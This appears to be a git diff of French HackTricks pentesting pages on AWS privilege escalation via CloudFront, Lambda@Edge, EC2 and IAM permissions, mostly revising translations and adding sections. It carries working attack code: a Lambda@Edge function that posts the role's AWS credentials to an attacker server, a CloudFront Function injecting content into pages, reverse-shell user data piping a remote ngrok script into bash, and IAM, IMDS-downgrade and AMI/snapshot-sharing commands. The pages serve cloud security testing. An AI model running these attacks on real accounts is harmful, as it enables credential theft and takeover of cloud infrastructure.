\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Créer un nouveau body avec du JavaScript malveillant
+var maliciousBody = `
+
+
+
+Page compromise
+
+
+Contenu d'origine
+Cette page a été modifiée par CloudFront Functions
+
+
+
+`;
+// Remplacer entièrement le body
+response.body = { encoding: "text", data: maliciousBody };
+// Mettre à jour les en-têtes
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Créer la fonction malveillante dans CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Récupérer l'ETag de la fonction au stade DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Publier la fonction au stade LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Packager la fonction Lambda@Edge
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Créer la fonction Lambda@Edge avec un rôle privilégié
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Publier une version de la fonction
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Appliquer la configuration de distribution mise à jour (doit utiliser l'ETag actuel)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Déclencher la fonction en effectuant une requête vers la distribution
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index a3869ebbc..72e7b0163 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Pour plus d'**infos sur EC2**, consultez :
+Pour plus d'**info sur EC2**, voir :
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@ Pour plus d'**infos sur EC2**, consultez :
### `iam:PassRole`, `ec2:RunInstances`
-Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le metadata endpoint.
+Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis l'endpoint de métadonnées.
- **Accès via SSH**
-Lancez une nouvelle instance en utilisant une **ssh key** **créée** (`--key-name`) puis connectez-vous en ssh dessus (si vous voulez en créer une nouvelle, vous pourriez avoir besoin de la permission `ec2:CreateKeyPair`).
+Lancez une nouvelle instance en utilisant une **clé SSH créée** (`--key-name`) puis connectez-vous en SSH dessus (si vous voulez en créer une nouvelle vous pourriez avoir besoin de la permission `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **Accès via rev shell dans user data**
+- **Access via rev shell in user data**
-Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier de security group de cette façon.
+Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier le security group de cette manière.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Faites attention à GuradDuty si vous utilisez les identifiants de l'IAM role en dehors de l'instance:
+Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Impact potentiel :** Privesc direct vers n'importe quel role EC2 attaché aux instance profiles existants.
+**Impact potentiel :** privesc direct sur n'importe quel rôle EC2 attaché à des instance profiles existants.
-#### Privesc to ECS
+#### Privesc vers ECS
-Avec cet ensemble de permissions, vous pourriez également **créer une EC2 instance et l'enregistrer dans un ECS cluster**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**EC2 instance** à laquelle vous avez accès ; vous pourrez alors pénétrer ces services (docker containers) et **voler les ECS roles qui y sont attachés**.
+Avec cet ensemble d'autorisations vous pourriez aussi **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès et vous pourrez ensuite pénétrer ces services (conteneurs docker) et **voler les rôles ECS qui y sont attachés**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Pour apprendre comment **forcer l'exécution des services ECS** sur cette nouvelle instance EC2, consultez :
+To learn how to **forcer l'exécution des services ECS** in this new EC2 instance check:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Si vous **ne pouvez pas créer une nouvelle instance** mais que vous avez la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.
+If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
-**Impact potentiel :** Direct privesc to ECS roles attached to tasks.
+**Potential Impact:** Direct privesc to ECS roles attached to tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait **changer le IAM role d'une instance compromise** afin de pouvoir voler de nouvelles credentials.
-Comme un instance profile ne peut contenir qu'un seul role, si l'instance profile **a déjà un rôle** (cas fréquent), vous aurez aussi besoin de **`iam:RemoveRoleFromInstanceProfile`**.
+Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
+As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Si le **instance profile a un role** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution de contournement. Il pourrait **trouver** un **instance profile sans role** ou **créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **role** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une instance compromise:
+Si le **instance profile a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **instance profile sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une **instance** compromise :
- Si l'instance **n'a pas d'instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique de instance profile).
+**Impact potentiel :** Direct privesc vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique de l'instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant avait déjà accès à une instance, il pourra voler des credentials pour davantage de instance profile roles en changeant celui qui lui est associé.
+Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; donc si l'attaquant a déjà accès à une instance, il pourra voler des identifiants pour d'autres rôles d'instance profile en changeant celui qui lui est associé.
-- Si l'instance **a un instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
+- Si elle **a une instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- ou **remplacer** le **instance profile** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`).
+- ou **remplacer** l'**instance profile** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Impact potentiel :** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
+**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Un attaquant disposant des permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attaché** et un **rev shell** dans le **user data**.\
-Une fois l'instance lancée, il peut **voler le rôle IAM**.
+Un attaquant disposant des permissions **`ec2:RequestSpotInstances` et `iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attached** et un **rev shell** dans le **user data**.\
+Une fois l'instance lancée, il peut **voler le IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer le user data**, ce qui implique qu'il peut faire exécuter à l'instance des **données arbitraires.** Cela peut être utilisé pour obtenir un **rev shell to the EC2 instance**.
+Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer les données utilisateur**, ce qui implique qu'il peut faire exécuter à l'instance **des données arbitraires**. Cela peut être utilisé pour obtenir un **rev shell vers l'instance EC2**.
-Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, il faut donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
+Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, d'où la nécessité des **autorisations** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Impact potentiel :** privesc direct sur n'importe quel EC2 IAM Role attaché à une instance créée.
+**Potential Impact:** Privesc direct vers n'importe quel EC2 IAM Role attaché à une instance créée.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Un attaquant avec les permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle Launch Template version** avec un **rev shell dans** le **user data** et **n'importe quel EC2 IAM Role associé**, changer la version par défaut, et **tout Autoscaler group** **utilisant** ce **Launch Template** qui est **configuré** pour utiliser la **latest** ou la **version par défaut** **relancera les instances** utilisant ce template et exécutera le rev shell.
+Un attaquant disposant des permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **new Launch Template version** avec un **rev shell in** les **user data** et **any EC2 IAM Role on it**, changer la version par défaut, et **any Autoscaler group** **using** that **Launch Templat**e qui est **configured** pour utiliser la **latest** ou la **default version** va **re-run the instances** en utilisant ce template et exécutera le rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Impact potentiel :** privesc direct vers un autre rôle EC2.
+**Impact potentiel :** privesc direct vers un autre EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **create a Launch Configuration** avec un **IAM Role** et un **rev shell** dans le **user data**, puis **create an autoscaling group** à partir de cette configuration et attendre que le rev shell **steal the IAM Role**.
+Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une Launch Configuration** avec un **IAM Role** et un **rev shell** dans les **user data**, puis **créer un autoscaling group** à partir de cette config et attendre que le rev shell **vole l'IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,11 +196,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Impact potentiel :** Privesc direct vers un autre rôle EC2.
+**Impact potentiel :** Escalade de privilèges directe (privesc) vers un autre rôle EC2.
### `!autoscaling`
-L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **ne suffisent pas à escalader** les privilèges vers un IAM role car, pour attacher le rôle spécifié dans la Launch Configuration ou dans la Launch Template, **il vous faut les permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
+L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** ne suffisent pas pour escalader les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans le Launch Configuration ou dans le Launch Template **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -211,13 +211,13 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Impact potentiel :** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.
+**Impact potentiel :** Privesc direct aux IAM roles EC2 attachés aux instances en cours d'exécution.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess`** pour l'activer.
-Pour se connecter au port série, il faut également **connaître le nom d'utilisateur et le mot de passe d'un compte présent sur la machine**.
+Pour se connecter au port série, il faut également connaître le nom d'utilisateur et le mot de passe d'un compte présent sur la machine.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Cette méthode n'est pas très utile pour le privesc car il faut connaître un nom d'utilisateur et un mot de passe pour l'exploiter.
+Cette méthode n'est pas très utile pour privesc car il faut connaître un username et un password pour l'exploiter.
-**Impact potentiel :** (Très difficile à prouver) privesc direct sur les IAM roles EC2 attachés aux instances en cours d'exécution.
+**Impact potentiel :** (Fortement invérifiable) privesc direct vers les IAM roles EC2 attachés aux instances en cours d'exécution.
### `describe-launch-templates`,`describe-launch-template-versions`
-Comme les launch templates ont du versioning, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, comme des credentials présents dans le user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
+Comme les launch templates sont versionnés, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des credentials présents dans le user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -250,22 +250,22 @@ done
```
Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.
-Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier sur AWS.
+Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.
-**Impact potentiel :** Escalade de privilèges directe vers un ou plusieurs utilisateurs IAM.
+**Impact potentiel :** Escalade de privilèges directe vers les utilisateur(s) IAM.
-## Références
+## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-### `ec2:ModifyInstanceMetadataOptions` (rétrogradation d'IMDS pour permettre le vol d'identifiants via SSRF)
+### `ec2:ModifyInstanceMetadataOptions` (downgrade de l'IMDS pour permettre le vol d'identifiants via SSRF)
-Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le point de terminaison des métadonnées d'instance accessible via des chemins SSRF/proxy courants depuis des applications exécutées sur l'instance. Si l'attaquant parvient à déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
+Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le endpoint de metadata de l'instance accessible via des chemins SSRF/proxy courants depuis des applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
- Permissions requises : `ec2:ModifyInstanceMetadataOptions` sur l'instance cible (plus la capacité d'atteindre/déclencher une SSRF sur l'hôte).
-- Ressource cible : l'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
+- Ressource cible : L'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
-Exemple de commandes :
+Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -292,5 +292,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Impact potentiel : vol des instance profile credentials via SSRF entraînant une privilege escalation et un lateral movement avec les permissions du rôle EC2.
+Impact potentiel : vol des identifiants du profil d'instance via SSRF entraînant une élévation de privilèges et des déplacements latéraux avec les permissions du rôle EC2.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Un attaquant disposant de la permission ec2:ModifyInstanceMetadataOptions peut affaiblir les protections de l'Instance Metadata Service (IMDS) — par exemple en forçant IMDSv1 (rendant HttpTokens non requis) ou en augmentant HttpPutResponseHopLimit — facilitant ainsi l'exfiltration d'identifiants temporaires. Le vecteur de risque le plus pertinent est l'augmentation de HttpPutResponseHopLimit : en augmentant cette limite de sauts (TTL), le point de terminaison 169.254.169.254 cesse d'être strictement limité à l'espace de noms réseau de la VM et peut devenir accessible par d'autres processus/containers, permettant le vol d'identifiants.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Un attaquant disposant des permissions ec2:ModifyImageAttribute et ec2:ModifySnapshotAttribute peut partager des AMIs ou des snapshots avec d'autres comptes AWS (ou même les rendre publics), exposant des images ou des volumes qui peuvent contenir des données sensibles telles que des configurations, des identifiants, des certificats ou des sauvegardes. En modifiant les `launch permissions` d'une AMI ou les `create-volume permissions` d'un snapshot, l'attaquant permet à des tiers de lancer des instances ou de monter des disques à partir de ces ressources et d'accéder à leur contenu.
+
+Pour partager une AMI avec un autre compte :
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Pour partager un EBS snapshot avec un autre compte :
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index b002635e9..81f44c415 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,56 +12,56 @@ Pour plus d'informations sur IAM, consultez :
### **`iam:CreatePolicyVersion`**
-Accorde la capacité de créer une nouvelle IAM policy version, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées.
+Accorde la capacité de créer une nouvelle version d'une policy IAM, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées.
-**Commande d'exploitation :**
+**Commande d'exploitation:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Impact :** Escalade directement les privilèges en autorisant toute action sur n'importe quelle ressource.
+**Impact:** Permet d'escalader directement les privilèges en autorisant toute action sur n'importe quelle ressource.
### **`iam:SetDefaultPolicyVersion`**
-Permet de changer la version par défaut d'une IAM policy vers une autre version existante, ce qui peut entraîner une élévation des privilèges si la nouvelle version dispose de plus d'autorisations.
+Permet de modifier la version par défaut d'une IAM policy vers une autre version existante, ce qui peut entraîner une escalade de privilèges si la nouvelle version accorde davantage de permissions.
-**Commande Bash :**
+**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Impact :** Escalade de privilèges indirecte en autorisant davantage de permissions.
+**Impact :** Escalade de privilèges indirecte en permettant davantage d'autorisations.
### **`iam:CreateAccessKey`**
-Permet de créer un access key ID et un secret access key pour un autre utilisateur, pouvant conduire à une escalade de privilèges.
+Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Impact :** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
+**Impact:** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Permet de créer ou de mettre à jour un profil de connexion, y compris en définissant des mots de passe pour la connexion console AWS, ce qui permet une escalade de privilèges directe.
+Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe.
**Exploit pour la création :**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Exploit pour mise à jour:**
+**Exploit pour la mise à jour:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Impact:** Escalade de privilèges directe en se connectant en tant que n'importe quel utilisateur.
+**Impact :** Escalade de privilèges directe en se connectant en tant que n'importe quel utilisateur.
### **`iam:UpdateAccessKey`**
-Permet d'activer une clé d'accès désactivée, pouvant conduire à un accès non autorisé si l'attaquant possède la clé désactivée.
+Permet d'activer une clé d'accès désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède la clé désactivée.
-**Exploit:**
+**Exploit :**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
@@ -69,41 +69,41 @@ aws iam update-access-key --access-key-id --status Active --user
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé.
+Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), héritant des permissions de l'utilisateur associé.
-**Exploit pour la création :**
+**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Exploit pour réinitialisation :**
+**Exploit pour Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impact :** Escalade de privilèges directe au sein des autorisations de service de l'utilisateur.
+**Impact :** Escalade directe des privilèges au sein des permissions de service de l'utilisateur.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Permet d'attacher des politiques aux utilisateurs ou aux groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée.
+Permet d'attacher des policies à des users ou des groups, permettant une escalade directe des privilèges en héritant des permissions de la policy attachée.
-**Exploit pour l'utilisateur :**
+**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit pour le groupe :**
+**Exploit pour le groupe:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Impact :** Élévation directe des privilèges à tout ce que la politique permet.
+**Impact :** Escalade de privilèges directe vers tout ce que la stratégie accorde.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, autorisant une élévation directe des privilèges en accordant des permissions supplémentaires.
+Permet d'attacher ou d'ajouter des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des autorisations supplémentaires.
-**Exploit pour un rôle :**
+**Exploit pour rôle :**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Exploit pour Inline Policies:**
+**Exploit pour les politiques inline :**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Vous pouvez utiliser une politique comme :
